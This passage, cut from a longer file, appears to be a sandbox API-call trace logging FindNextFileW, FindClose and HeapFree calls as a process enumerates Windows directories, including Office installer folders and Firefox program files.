cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0177.778] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0177.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.778] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0177.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.779] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0177.779] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0177.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.779] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0177.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.780] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0177.780] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0177.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.780] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0177.780] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0177.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.780] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0177.780] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0177.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.782] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0177.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.782] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0177.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.784] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0177.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.785] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0178.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0178.007] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0178.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0178.007] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0178.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0178.008] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0178.008] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0178.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.008] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0178.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0178.008] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0178.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0178.009] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0178.009] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0178.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0178.009] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0178.009] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0178.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.011] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0178.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.013] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0178.013] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0178.013] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0178.013] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0178.013] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0178.013] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.014] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0178.015] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0178.015] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.015] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a52350, ftCreationTime.dwHighDateTime=0x1d4df1a, ftLastAccessTime.dwLowDateTime=0xfc4d8bf0, ftLastAccessTime.dwHighDateTime=0x1d52d03, ftLastWriteTime.dwLowDateTime=0xfc4d8bf0, ftLastWriteTime.dwHighDateTime=0x1d52d03, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="screensaver-fireplace.exe", cAlternateFileName="SCREEN~1.EXE")) returned 1 [0178.015] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0178.015] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0178.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.016] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 0 [0178.016] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0178.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.016] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa7154510, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf7d369cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0178.020] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.020] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1 [0178.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.274] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0178.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.274] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0178.274] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0178.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.274] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0178.278] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.279] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0 [0178.279] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0178.279] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.279] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0178.281] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.281] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0178.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.282] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0178.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.283] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0 [0178.283] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0178.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.283] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0178.286] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.286] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0178.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0178.289] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, 